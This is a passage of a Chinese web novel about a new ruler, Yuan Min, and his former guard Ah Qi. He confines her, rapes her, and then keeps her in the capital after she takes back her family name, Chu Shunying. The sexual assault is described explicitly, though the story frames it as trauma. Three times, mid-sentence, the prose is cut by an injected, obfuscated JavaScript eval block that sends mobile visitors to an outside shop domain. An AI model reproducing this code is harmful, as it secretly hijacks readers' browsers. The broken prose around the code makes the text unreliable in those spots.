元旻攥紧拳头,垂眸沉思片刻,往兴庆宫的方向瞥了一眼,眼神柔和了些,轻轻叹了一口气:“找到他,护送回灵昌,交到建宁王苻沣手中。叮嘱苻沣,让苻洵好好在灵昌呆着,莫再四处晃荡。” 二人正要告退,元旻忽然又说:“此事必须瞒着你们首领,若有一丝风声透到她耳中,自去领罚!” 天枢为难道:“首领虽主领飞廉,却有其他信息来源,完全瞒住恐怕……” “那就换了她身边所有宫人,明令所有人不得与她交谈外界讯息,一经发现立即杖杀”,元旻声音陡然拔高,拂袖掀落案上茶盏,四分五裂茶水飞溅,“即刻起,让卫尉寺封锁兴庆宫,非朕允许,不准她踏出宫门半步!” 二人吓得肝胆俱裂,忙战战兢兢磕头请罪。 玉衡跪下低声请求:“首领武艺高强,与侍卫动起手来不太好,臣大胆奏请陛下手谕。” 元旻冷冷注视着他二人良久,轻声道:“好。” 待二人告退,元旻愣愣站在空荡荡的书房里,半晌回不过神。 又有宫人通报,西陵水师管军使云秉奕携母求见。 元旻略感诧异,八月阜门峡一别,他见云飞燕拼死护住景樊,又数月不闻讯息,以为他们已破镜重圆,还在考量划哪块靠近荣国的封地给她。 “臣并无与他国重臣勾连之意,只是转移家业费了些时日。”云飞燕的声音听不出一丝情绪起伏。 元旻心头一颤:“都能同生共死,为何不能重修旧好?” 云飞燕笑了,语气决然:“臣可为他去死,却无法为他而活。” 母子俩接受敕封后走了,书房里依然回响着云飞燕最后一句话——“不如意事常九八,何必过度执着于圆满?” 许久,他缓缓闭眼,眼眶通红。 “可是,我舍不得。” 35. 殿前欢 冬去春来,兴庆宫的被世人遗忘的偏殿里,时光如流水般滑过。 原本还有春羽和天璇天玑陪她解闷,一朝醒来,她们都不见了。身边来来往往都是陌生的面孔,一问外面情况,个个都骇得面无人色。 随后就有侍卫来封宫,她不解其意、正要争辩,玉衡拿了元旻手谕来劝说她。 稳重了十几年的人,偶尔发发癫,她能如何? 这日,冯太后跟前的冬雪来兴庆宫,宣她明日去太后处商议归宗之事。问及春羽,说是去宗正寺忙册封王后的仪典了。 看来元旻是想通了,愿意放她出去了。 阿七坐在檐下,又看了一遍崔夫人的遗作,再举首看向天穹,一轮圆月高冷如霜、投下满庭清辉。 其实,高处不胜寒才是月亮该有的模样。 不知不觉走到正殿前,满树海棠初绽胭脂色,新绿重重、香雾空蒙,她轻轻跃上树枝。在夜风中展开双臂,慢慢前倾、坠落。 这应是她最后一次爬这棵海棠树。 冷不防,落入一个怀抱,熟悉的沉水香萦在鼻端,混着酒气,带着淡淡体温。 “十几岁的人了,爬个树还能往下掉”,元旻含笑瞥向怀里的她,“伤好些了么?夜风尚寒,怎不多穿件外袍?” “好得差不多了”,阿七恍惚了一瞬,恭声恳求,“请陛下放臣下来。” 元旻看着在伏在地上跪拜的他,饶有兴味地调侃:“放你下来,是为了让你三跪九叩来拜我?” 阿七噎住,只得低声道:“臣不敢劳累陛下,夜风尚寒,请陛下早日安歇。” “无妨,刚给阿煊辞完行,喝了些酒想出来醒醒”,元旻缓缓踱步,眼睛亮亮的,一瞬不瞬盯着她,“阿煊也走了,我只想找人说说话。” 阿七头伏得更低:“陛下请讲。” “给我站起来”,元旻僵了一瞬,有些恼怒,顿了片刻,声音才柔和下来,“明天去择你的姓氏吧,择了姓氏还有个惊喜给你。” 阿七低头站起,沉声道:“谢陛下隆恩,臣就算处江湖之远,也定当披心沥血为陛下尽忠。” “尽忠,你!”元旻陡然怔住,郁怒冷笑,“你的忠心……忠心……好!” 他眼眶发红,眸中满是痛苦,直勾勾盯着她,徐徐往前走去,吓得她连连后退。 她后背已抵上海棠树,而元旻没有停,一手揽住她后背将她拉近,低头吻了下去。 她本能地躲避和推拒,可那吻强势而凶狠,一臂紧紧箍住她、一手扣在她脑后,不容她挣脱半分。用力咬住嘴唇,分开唇齿、舌尖在口中辗转反侧,不遗余力攫取每一缕气息。 铺天盖地的窒息感传遍四肢百骸,她四肢和身躯都僵住了,没有力量、不听使唤,只能被动地仰头迎接这唇齿相依。 窒息感越来越重,她蹙了蹙眉屏住呼吸、缓缓合上双眼。 唇间忽然一空,元旻低头看着她,笑容落寞而愤懑:“你刚才在想谁?” 月华在庭中如积水空明,树下女子穿着浅紫撒花绫罗薄衫,身姿已开始长出风韵,远山眉愈发青黛,杏眼顾盼生辉,双颊若飞霞,嘴唇有些破肿、薄薄一层胭脂已被蹭掉些许。 她的双眸清澈而纯净,像两泓秋水,含了些微泪花,无端令他想到那夜的十八寨,另一双亮晶晶的、眷恋而缱绻的眼睛。 酒气冲入胸腔,腾起一股无名火,一路烧到头顶,灼得他脑子一片混沌,呼吸瞬间急促粗重。 海棠树下支着一张软榻,他将她拦腰抱起,放到榻上便俯身压了上去。从嘴唇一路向下亲吻,双手重重一撕、上衫裂帛,他把头埋在她颈窝,深吸着那里的香气,亲吻她雪白的脖颈。 感知到她微微侧头避了避,他撑起身子,将她的头扶正,在正上方凝视着她:“看着我。” 她在冰冷的月光下、盛放的海棠树下抬眸看他,这个寄托了她多年倾慕和梦想的人,此时醉眼朦胧,眉间缠绕着贪嗔痴。她恍惚间升腾起亵渎的罪恶感:她将不染尘埃的月亮拉下了凡俗,她将皑皑无瑕的白雪染上了红尘。 她听见他说:“我要像男人对女人那样爱你。” 她双眸有些潮润,为染尘的山上雪、云中月叹息,又为自己多年虚幻的痴恋伤怀。 夜风吹过,吹得海棠花翩翩飞舞,一朵又一朵落在他们身上,她突然意识到这是在兴庆宫前庭,忙慌乱地去推他:“这是在正殿前面。” 他轻笑了一声:“那又如何?” 她蓦然一怔,突然反应过来,他是国君、是这片国土上至高无上的存在。她一直都知道,却到了这时才有最直观的体会。 他双颊透出薄红,温柔地拔去她的头簪,拨开她额间乱发,注视着她眼睛,轻声说:“我一直都很喜欢你,等了很多年,才等到可以光明正大说出来的这天。” 她越来越伤怀和失落:“我也喜欢过你很多年。” “我知道,一直都知道,可我不能说”,他手指拂过她的下颌、脖颈,“只有坐到这个位置上,有了足够强大的权力,才能够好好爱你。” 他伸手扯落她的上衫,露出底下纵横交错的旧伤新痕。他倒吸了一口凉气,眼圈泛红:“这些全是你为我受过的伤。现在我们赢了,以后你再也不会为我受伤。” 她思索片刻解释:“我之前一直心甘情愿追随陛下,受些伤也无妨。” 他盯着她的眼睛:“现在也是心甘情愿么?” 她心底涌出前所未有的恐惧,竭力伸手想推开他:“我不知道,还要再想想……” “没事,你很快就会知道”,他似有所悟地笑了,喉结滑动了几下,醉眼愈发迷离,扣紧她十指、拉开她双手,重重压下,“五年前,我就已经向父王求得赐婚,你一直都只属于我,不要去想别人。” 吻再度落下,她那句“不是想别人”被堵在喉咙,整个人被压在榻上,无法挣脱也无法动弹。剧烈的疼痛传来,像是要撕开她的两腿、碾碎她的躯壳,疼得她神魂出窍。 她全身颤抖,用尽最后一丝力气拼命想挣开他。奈何他力气太大,除非直接下狠手击中要害,可她本能地不愿、也不敢伤害他性命。 “陛下,不要这样”,她急切哀求,听见自己声音带着哭腔,鼻子一酸,眼角流下两行泪,“放开我,我不想……” “不想跟我?”他动作一顿,神色忽然变冷,带着愤怒和悲凉,“那你想跟谁?”旋即,他从旁扯过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981245|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段衣袖塞进她口中,不愿再听到任何拒绝的话。 “别怕。”他声音很温柔,手抚摸她脸颊时也很轻柔,其余动作却越来越激烈狠厉。 她别开脸,看到月光下二人的影子,他高大英挺、气宇轩昂。她看不出原状、只是模模糊糊虚无的一团。 恍惚想起,其实她这样看不出原状地跟在他身后,已很多年了。 剧痛在四肢百骸奔腾,血脉像被爆裂地炸开。她全身都是疼的,四肢酸疼得无法动弹,难以承受的痛楚将她逼出越来越多的泪水。 他伸手替她拭去泪水,语气坚决地重复说:“你一直是我的,从今以后就是我的女人了,我们要一生一世永远相守。” 她神思恍惚,只听到“永远”二字,微不可察地摇了摇头。 忍着痛楚,瞥见他的眉眼因欲念而痴狂,她忽然生出一股强烈而奇异的陌生感。不知在自己身边的,是记忆里相随相伴、纤尘不染的白衣少年,还是眼前至高无上的君王。 哦,他们本就是不可分割的同一个人。 从最开始的懵懂无知,到情窦初开,然后追随他、仰慕他,喜他所喜、忧他所忧,她的躯体逐渐变成空壳,盛满的,全是他的梦想,她的灵魂也紧密不分地纠缠在他身后。 是时候了,放下这一场水月镜花的错位恋慕。 疼痛越来越厉害,压在她肩头诺言和恩义的重量,压在她心上不见天日的痴念,一分一分轻了下去。海棠树下相伴着一天天长大、那些回忆里温暖纯白、纤尘不染的画面,一帧一帧碎在眼前。 多年追随、仰望、思慕,像一曲漫长的乐曲,最终以这样痛楚而窒息的方式画上句点。 这是十几年来,他们离得最近的一次。她却觉得随着躯壳的接近,她和他,终于完全分离成两个单独的人。 她终于将自己的灵魂从他身后抽了回来。 . 次日,冬雪躬身侍立在梨树下,等了半天也未等到,便想去催催。 “选姓氏这种小事,早点晚点什么打紧”,冯姮若无其事斜睨了她一眼,“听说今早的小朝会都取消了。” 晨起后,元旻坐在镜前看她梳妆,笑盈盈的,眼里尽是踏实和笃定。看她对菱花镜勾勒远山眉,再用胭脂晕在两颊、点在唇上。 “去年这个时候,给你画个妆面都能要了你的命”,元旻又想到了朝晖堂东院,忍俊不禁,“如今倒是信手拈来。” 阿七脸上没有一丝笑意,慢条斯理将发丝拢上去,挽了个随云髻,瞥了一眼那支彩玉簪,拿起另一支别在头上,语气淡淡的:“既然要做回女子,自然得学会这些。行事说话都与身份相符,才会各行其道、井然有序。” 元旻会意,却不愿接茬,起身将彩玉簪别到她发间:“这簪子很衬你,记得每天戴好。” 阿七身躯一僵,一动不动任由他别上簪子,默了许久轻声道:“遵命。” 元旻唇角扬起一丝恍惚笑意,声音柔了几分:“月初滬南上贡了一批翡翠头面,郑娘娘说那家珍宝坊做工比内造的还精巧别致,待会儿先送来让你挑?” 阿七理好衣饰,平静地转过身,注视着他:“请陛下赐臣避子汤,再放臣离宫。” 36. 结束与开始 元旻一怔:“你已然与我有夫妻之实,为何还要离开?你还想去哪?” 阿七笑了笑:“臣之前说过的,待陛下继承大统,臣想要功成身退、不再随侍陛下左右。臣想去外面的海阔天空,看看这世上的其他人、其他事物、其他风景,再走自己想走的路。” 元旻默默注视着她,缓缓攥紧掌心:“你已经是我的女人了,还想去见谁?” 阿七心头涌起强烈的窒息和无力感,却不得不继续耐心解释:“不是为了特意见谁,只想认识更多的人。至于昨晚……在这宫里无人能拒绝陛下宠幸,好在大翊民风开放、不甚在意贞洁,也并无发生过此事就必须成婚的道理。” 顿了顿,她深吸一口气,继续说:“为了维护陛下清誉和王室颜面,臣自然也会遵循旧例、一世不婚。” “你以前那么喜欢我,怎么说变就变了”,元旻睁大了双眼,颤声问,“宁愿一世不婚,也不愿与我相守?” “臣喜欢的是犹如白雪皓月的四殿下,而陛下是大翊至高无上的君父”,阿七逐渐失去耐心,幽幽叹息,“臣更不愿重蹈崔夫人覆辙。” “这两者都是我,有什么区别吗?我懂了,是因为历代君王都三宫六院”,元旻急了,慌乱地思索半晌,恍然大悟,诚恳地说,“我可以效法太祖高祖,不纳任何妃嫔,只册封你一个王后,崔夫人的悲剧不会再重复。” 阿七别过脸,不知该怎么说下去,心中暗叹,这世间的成见就像大山。就连元旻这样人人称道的君子,提到崔夫人也只记得那些情情爱爱、争风吃醋。 师父口中那惊才绝艳的女子,若没成为昭王的崔夫人,应该会以“崔采薇”之名出将入相吧,就像翱翔九天的神鸟。 突然就不喜欢他了,可她已习惯不讨厌他、不恨他,只想当昨晚什么都没发生过,然后远离这座宫殿。 罢了,顺着元旻的话说下去算了,只要能出宫、他怎么想都成。 “可如今情势已非开国之时”,阿七不疾不徐分析道,“内有世家大族盘根错节,外有强敌环伺,邦交之事变幻莫定,当年先王何尝不想一生一世一双人?” “若有一天,挡在陛下与臣之间的不是哪个人,而是几州几郡的民生、国与国的邦交,陛下为当世明君,又当如何抉择?” 她想了想,语气柔和地宽慰:“这世间的缘分不止夫妻,我就算不嫁给你,也有十几年一起长大的相伴之情,还有同甘共苦、同生共死的袍泽之情,更有对君父的忠心。我尤为珍惜这些情份,才不忍其在往后的几十年消磨殆尽。” 元旻站起身,呆呆僵立了不知多久,两眼含泪:“为什么无论我花多少心思,做多少努力,都只能将你越推越远?” 转身,踉踉跄跄地走了出去。 . 这一夜,阿七睡得极不安稳,做了很多梦。 梦里,夜色里飞廉所有成员齐齐单膝跪在院中,为首的天枢抬起头,笑容温厚:“首领请保重,江湖再见,后会有期。” 梦里,昏暗的树林里,元旻挥剑刺向苻洵,却在剑尖刚刺入的瞬间,失去力气倒在地上。苻洵从元旻身上抽出长刀,鲜血染透了他海棠红的袖边。 梦里,骄阳下武煊骑着马越跑越远,高声呼喊:“天下没有不散的宴席,再见!” 梦里,她与苻洵站在一间屋子里,屋外是金戈铁马、战火绵延不休,大火从四面八方涌进屋内,他们都没有躲闪避让,只是面对面相视而笑、泪流满面,任熊熊烈焰同时将他们吞没。 梦里,云遮雾绕,一张张熟悉的面孔与她逆向飞速闪过,她站立不稳坠了下去,下方是漂着无数尸骸的血色大海,一只又一只的手无助伸向她,万鬼齐声哀嚎嘶喊。 “笃笃笃”,敲窗声将她从梦中惊醒,披衣起身拉开门。 夜色里,飞廉所有成员齐齐单膝跪在院中,为首的天枢抬起头,笑容温厚:“隐蝠卫领命出行,特来向旧主辞行,首领请保重……” “别说了!”阿七霎时骇出一身冷汗,尖声喝止。 天枢和玉衡不明所以,对视一眼,还是继续道:“昔日多受照拂,首领请保重,江湖再见、后会有期!” 阿七眼前一黑,一个踉跄险些晕倒。 后半夜翻来覆去,再也睡不着,天蒙蒙亮时冬雪已在外等候。沐浴、梳妆、换上繁琐礼服、戴上头冠,再佩上玉佩香囊,走出房门时天已大亮。 景和宫的庭院里,冯姮和郑锦珠正坐在梨树下,含笑看向院中空地。在那里,元旭正在教元晞之子元承陵糊风筝。 三张洒金笺纸上,分别楷书姓氏——“郑”、“崔”、“褚”,冯太后见她迟疑,微笑道:“孩子,无论你选那个姓氏,都是应分应得,你当得起。” 阿七忽然想起,元旻拉着她,恭声道:“在下冯四郎,这是我未过门的妻子褚娘子。” 于是,拾起那个意味着已逝过往的“褚”,权作那段岁月剩下的唯一关联。呈给冯姮,冯姮和郑锦珠相视一笑,郑锦珠说:“既选了归入褚姓,即刻家去吧,司南侯已在宫门等着了。” 她惊愕抬头。 冯姮微笑颔首,目光慈柔:“孩子,你母亲叫褚秋池,曾任隐蝠卫副统领,在征南之战中立下汗马功劳,最后以身殉国,你是褚氏长房唯一的后嗣。” 身份的谜团找到了个线头,却又牵出更多疑问,然而此时也不便深究。 她含泪告退,行至院门终于忍不住,飞奔折返,跪地长拜:“此一去,不知来日何时再会?” 空气凝固了。 郑锦珠转头,诧异看了冯姮一眼,冯姮若无其事地微笑道:“去吧,日后有的是机会入宫。” 二人看着阿七远去,郑锦珠疑惑地说:“陛下料事如神,她果然一眼选中了‘褚’,只是看起来似乎还不知道……” 冯姮叹气:“什么料事如神?本来好好的,昨天阿旻又来说要取消这次大婚,如此大事岂可儿戏?” 郑锦珠赔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981246|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“陛下自有考量,说是这诏书既已传抄到宗正寺、就不必撤回,先取消大婚仪典,诏书封存于宗正寺,容后再议。” 冯姮摇摇头:“谁晓得他怎么想的,弱冠的人了,随他去吧。” 暖风吹来,东栏梨花瓣瓣飘落,好似飞雪,积了一层又一层,将书案上摊开的诏书遮得模糊不清,白金交织的帛锦上,端正小楷写着那道已被暂停执行的诏书: ……咨尔褚舜英,已故司南侯、内卫统领、配飨太祖庙庭褚秋池之女,生于鼎族,教自公宫。朕躬行天讨,无内顾之忧,济朕艰辛,同勤靖难……今特谴使奉金册宝印,立为王后,以奉神灵之统,母仪天下…… . 冬雪安排轿辇送阿七到宫门,南薰门外停着四五辆双马并骖的香车,车身漆成深红、饰以褚氏家徽——重明鸟团纹。 等到她走下轿辇,车里的人已鱼贯而出,为首那位女子面容不到四十岁,两鬓却已染有霜华,正是司南侯褚秋水。 阿七还未来得及叩拜,褚秋水已箭步冲上来一把扶住她,两眼含泪上下打量她,哽咽道:“像……真像……” 后面子弟齐齐施礼:“见过族姐。” 褚氏虽在城郊有住宅,祖祠却位于伊河以北的上垣,乘车前往需要一天。褚秋水率儿女和族中子弟在接到她之后,一行车马直奔伊河而去。 暮色逐渐四合,昇阳城墙越来越远直到再也看不见。 阿七却久久不肯放下车窗,极目南望。 仿佛看到,在那重重宫墙中,几位孩童从宫学归来,为首的男孩穿着荼白绣金云纹长袍,身边的矮小孩童如影随形。 仿佛看到,临梁郡山洞里,三位少年衣衫褴褛挤在一起。 仿佛看到,起云楼上,两位少年单膝半跪、握拳举到胸口,发誓效命。 仿佛看到,白露水榭里,白衣公子凝神抚琴,其余两人对月酌酒。 仿佛看到,长流川上冯四郎和褚娘子同舟共渡、相携前行。 而在她看不到的地方…… 洛川别苑内,少年画完了最后一笔墨,割开指尖,将血滴入画上少女的额间,轻轻晕出花钿,血红的桃花与他浅绛色的锦衣遥相呼应。他凝视良久,温柔地笑了。 他回身的刹那,眼神倏然冷厉,长刀旋出一弯霜冷的月牙,将悬挂在墙上的舆图削开,裂缝处是个被刀气激得破碎的“翊”字。 蒙舍国一处悬崖下,白发老者满身鲜血倒在地上,身上忽绽出一星金光,指头大的金蝉从他袖间爬出,振翅飞向丛林深处。 翊国土地上,某些不知名的丛林、小径、河流,有不知名的士兵在深夜静默潜行。 而在长流川以南,滬国故都燮陵的残垣断壁之上,战死将士的怨气从泥土下逸出,不绝如缕,聚向中天。那月亮似乎比往日大了数倍,发出浅红的血光。 这是她作为阿七的最后一天。 阿七的人生即将结束,褚舜英的人生才刚刚开始。 37. 笼中鸟 “……别院笙歌怜故土,空台麋鹿怆新知。倾城岂是红颜姑,沈骨堪为玉貌悲……” 四月,宝慈宫的梨花依然层层叠叠,覆压如雪,冯姮靠在梨树下一张躺椅上,合眼假寐,听着对面紫衫少女捧着诗集轻吟。 听完了这一首,冯姮睁眼:“阿英,你可知这诗说的是谁?” 舜英想了片刻才试探答:“施夷光?” 冯姮微笑颔首:“正是啊,这其中典故可听说过?” 舜英顺着她兴头,笑道:“越王勾践破吴归,义士还乡尽锦衣,阿英乃一介武夫,常以此自勉。” 果然,冯姮笑意更温柔:“当初越王为求周旋,选了八名绝色美人进献吴王,其中最出色的两位合称“浣纱双姝”,一为夷光、一为郑旦。都说夫差对那二人极尽娇宠,以至于耽于享乐、国破家亡。” 舜英嗤笑:“一不责怪君王无能,二不责怪臣工庸碌,三不责怪将士软弱,却齐齐去责怪两个弱女子,当真可笑。” 冯姮柔柔笑了,眼神有些悲凉:“于故国,她们是敌国的宠妃,于敌国,他们是祸国殃民的妖孽,从她们作为贡女入敌国王宫,凄凉的下场就已注定。” 舜英见她面有戚容,忙翻下一篇念起来:“……猛将谋臣徒自贵,蛾眉一笑塞尘清,是写昭君的。娘娘远嫁数千里,使翊、宛息战二十多年,功德无量,堪称当代昭君。” 冯姮看向远方,悠悠长叹:“马上山川难记忆,明明夜月如相识啊。阿英,近些时日,哀家常梦到自己还只有你这样大,跟十二哥在大漠里骑马,柘枝城的天空真高啊,他养的那只鹰就在头顶盘旋、长啸……” “哀家追啊追,却怎么都看不清他的脸……” 舜英想起近日收到的北苑线报,心中恻然,强颜欢笑道:“待娘娘养好身子,阿英同大殿下一起,带娘娘去朔北跑马。” 冯姮缓缓摇头,唇角笑意淡淡:“哀家只剩一条胳膊,骑不动烈马了。你们若有心,替哀家取来一抔玄阴山的土,权当是回过故乡了。” 顿了顿又道:“此事莫让阿旻知晓,不要让哀家的心情影响他的判断。” 舜英听她如此说,心绪复杂、不知如何劝慰。就在此时,宫人进来通传:“陛下来向娘娘请安,已至前殿。” 她一个激灵,忙起身向冯姮奏请回避片刻,于是冬雪带她进了寝殿的东暖阁,刚坐下便听院中元旻平静无澜的声音:“母后万福。” 从宫人通传到她避让,再到元旻请安,冯姮也只朝她笑着微微点了个头,一脸风轻云淡恍若无人来过。 . 一个月前,舜英还是阿七的时候,被新王元旻强行宠幸,却仍请奏离宫,惹得他不解而愤懑。 她不想继续待在重重宫墙,就算为着王族颜面一世不婚,也想去四面八方走走看看。归宗之后,她的人生才刚刚开始,离开昇阳后海阔天空、大有所为,婚姻只是极小的一部分。 那夜之后,她一遍遍再次问自己的心,元旻于她意味着什么?结论永远那般笃定:至高至明日月。 她想让日月回到天上,自己离他远远的、不再仰望,寻一条自己想走的道,自由自在、鲜活明亮地走下去。 本以为会随司南侯赴龙城就任,而司南侯正值盛年,上昇阳朝拜还轮不着她,与元旻暂不相见。再过几年,他一定妻妾成群、儿女绕膝了,自此桥归桥、路归路。 岂料,回程时马车拐了个弯,褚秋水一边说着当今陛下对她如何爱重,一边谆谆嘱托她独自留京好生效命,然后领着族中子弟浩浩荡荡回龙城赴任,将她和一名堂弟撇在昇阳褚宅。 两纸委任告身,她和堂弟褚君贤双双留京任职。 褚宅的闺阁早已布置停当,全是按照她从前在兴庆宫的喜好。她一时搞不懂元旻究竟何意,当夜翻来覆去睡不着,一遍遍回忆,终于从褚秋水离去时的神色中找到欲言又止和无奈,以及眼里极力掩饰、却仍不时闪过的惶然恐惧。 找元璟打听才知,元旻并未收回册后诏书,只是将赐婚、册后两道圣诏封存于宗正寺。 骤然之间,她再次见识到权势的模样,翻手为云覆手为雨的君王之威。 她不再是孤身一人,有对她极好的亲人和有血脉相连的家族,不可再率性而为、撒手就跑。普天之下莫非王土,只要元旻不愿放手,她去到何处差别不大。 于是乖乖留在了昇阳。 她目前在朝中职务是鸿胪寺的一名典客丞,从六品。 大翊名列蜃洲三大强国,除了需对大国来宾格外留意,其余外事只需常规守礼迎送,全都有旧例可循,日复一日枯燥而寡淡,比之前做暗卫更无聊。 起初她不死心,时不时向上峰请求被派遣到别国出使,无需要职、当个小小随从即可。但周睿才在鸿胪寺这种邦交官署升到少卿,自然善于揣摩君心,基本不给她安排什么操心费力的差事,更别说出使别国这种难度高、危险系数大的外差。 于是,她在典客署闲出花来,一开始还天天去点卯,后面一连消失好几天都没人管。 元旻的册后诏书下达不久,冯太后就搬出了王后的居所景和宫,住进了宝慈宫。 宝慈宫虽不及景和宫富丽,却占地更大、更有自然古朴的风味,颇合她简素归真的性情,遂命人将景和宫那株老梨树挖出移栽过来,每天莳花弄草,日子过得甚是惬意。 后来,册后诏书暂停执行,封存于太常寺,冯姮亦再不愿搬回去了。 她不必再像过去的二十几年那样绷着根弦,日常除了与郑夫人品茶插花、逗一逗庶子和孙子女,还时不时传些人入宫去叙话。 去的最多的有临梁郡公太夫人冯沅及其女武灿,其次便是养女褚舜英。 幸亏元旻很勤政,不是在朝会就是在议事,不然就是在批折子、阅兵、宴客,连轴转没得个闲暇,纵使请安也是清早或是入暮,她惴惴不安出入宝慈宫大半月,一次也未曾撞见。 今日可巧,只有她一个宫外人,元旻却在此时不偏不倚撞了来。 东暖阁的花窗半掩,庭院中的话声传进来颇有些清楚。 元旻道:“少府已将裁撤宫人的名单呈了上来,现中宫空虚,有劳母后替我掌眼。” 他即位后,将国库出项的军费开支提高到六成,又要缩减王室和宗室的开支。 征和朝励精图治、王室开支本就不甚高,到了永平朝更是节俭用度,所占度支十不足一,这还包含了所有宗室的支出。 冯姮接过来,只略翻了翻:“这些年岁大了的、空置宫舍的,放出去便罢,也无甚可看的。” 元旻蹙眉纠结了片刻,叹息道:“还有一事,请母后不要过于哀伤,北宛传信,舅舅病危。” 冯姮神色悲戚:“十二哥的身子从征和十八年就不大好了,苦撑这么多年,十几个儿子争来争去…” 默默怀想半晌,忽然抬眸正色道:“阿旻,有些事不得不早些打算了,你舅舅若去了,两国交好何以为继?你舅舅膝下有个公主,相貌品性皆是一流,对你倾慕已久、自愿屈身为妃,岂非两全其美?” 元旻语气和婉,却很坚决:“我不会娶别的女人。” 冯姮含笑点头:“那便想一想宗室里适婚的少男少女吧,北疆平静了二十多年,尽量莫要再起战端。” 舜英本想等元旻走了再出去,岂料这次说起事来没完没了,说到荣王苻沣继位后整编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981247|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军务、说到在宣庆推行屯田如何、说到凰羽寺少祭司元晴如何、说到鹤华公主元昙如何…… 她藏在东暖阁,逐渐昏昏欲睡。 谈话声不知何时停了,元旻起身道:“不知不觉竟已近申时,昨夜熬了一宿,今晚还有事,索性先不回勤政殿,在母后这躲躲清闲,小寐片刻。” 冯姮满眼心疼:“国事乃长久计,不可操之过急。暖阁里被褥熏香都是现成的,快去歇歇吧。” 舜英一震,竖起双耳绷紧了身子。 门口传来冬雪的声音:“陛下,请随奴婢来西暖阁。” 她刚松了口气,却听元旻徐徐道:“西边太晒,我去东暖阁吧。”冬雪阻拦不及,门嘎吱一声开了,又迅速关上。 她情急之下,推窗欲跳,身后传来元旻的声音:“你躲也无用”。 她一时僵在窗前,走也不是、不走也不是,垂下头回身,略一抬眼发现元旻正微笑着看她,忙双膝一弯就要叩拜。 “竟这样生疏了”,元旻扶起她,反手握住她手腕拉着就往里走,“过来让我看看,伤养得如何了?” 舜英抬眼往前看了看,霎时血都冲上脑门,脸红耳热、心口突突直跳,压低声音急切提醒:“这可是太后的寝殿!” 元旻拉着她去的地方,湘帘低垂,幽香细细,赫然是一张牙雕嵌螺钿的大床。 这家伙即位后,瞧着稳重,癫起来可真是一言难尽。 正腹诽着,元旻已走到床前,自顾自躺下,瞟了瞟床前花凳,对她淡淡说:“就坐这儿吧。” 她微微诧异,抬头瞄了他一眼,却见他薄唇弯了弯,悠悠道:“若嫌坐着累,躺下也成。” 她讪笑道:“谢陛下关切,臣身子已无大碍,今日入宫陪侍娘娘,不愿窥探陛下与娘娘所谈政务,才避到了东暖阁,可巧陛下也来此歇息……” “不是可巧,一进来就知道你在”,元旻合眼假寐,声音有些沙哑,轻飘飘的,“阿英,你用的香与别人都不同,自己不知?” 说着,缓缓牵起她一片衣袖,覆到脸上:“不是兰麝、龙涎、瑞脑,也不是蜜合、沉水、白檀,是很清淡的花木……” 舜英见自己衣袖被他拉过细嗅,这般没有威压的亲昵,心底涌出一股久违的暖意,也没那么抗拒了,声音轻了几分:“是灵昌产的素馨香露和山茶油,春羽姑姑说臣还需调养,在……那之前最好莫要熏香。” 听到“灵昌”二字,元旻松开衣袖,骤然睁眼,试探问:“谁送的,阿灿?” “哪有,上月阿灿在这见到臣扮回女装,哭着走的”,舜英回想当时武灿的从呆愣到惊愕、最后嚎啕大哭跑出去的模样,笑着摇摇头,“是摇光托人捎回来的,陛下命她留在灵昌,怎么就忘了?” “好容易才撞见你一次,坐这儿陪我一会儿吧”,元旻松了口气,仰起头,一瞬不瞬注视她良久,忽又带着央求轻声开口,“阿英,再给我些时间。” 舜英疑惑地看着他。 “为邦交、为朝政联姻,你的那些担忧,都不会发生”,元旻唇角弯了弯,“我正在想法子,假以时日都会解决,再给我些时间。” “臣何德何能,得陛下如此用心”,舜英的心慢慢沉了下去,像压上了石块,飞速组织着措辞,“治大国如烹小鲜,陛下切莫为些许虚妄之相操之过急。” “诸姓内斗已纠葛多代,积重难返,父王开疆拓土、才把这些沉疴掩盖了片刻,却也到了不得不变之时”,元旻不疾不徐地说着,“阿英,我们的情分不是虚妄,从郑娘娘有了元旭,我就想着何时光明正大唤你阿英,娶你为妻……” 声音越来越轻,随着他入睡,逐渐飘忽得像是梦呓。 38. 武殿试 舜英为元旻一番言语透出的珍视震撼,久久回不过神。藏在沉水香里温润的雪松气息萦绕鼻端,恍惚让她回想起蒙舍王城那棵雪松,他挂上的许愿木牌—— 愿吾爱妻舜英一世顺遂。元旻。 至今想起,却唯有无奈与歉疚。 若这木牌、这坦荡通透的表白,出现在她对他倾心相许的那几年,多好。 晚了,太晚了。她的白雪皓月已经不见,只剩高巍到令人窒息的君王——史书上面目模糊、千篇一律的龙姿凤章。 有些事,错过了就是错过了。 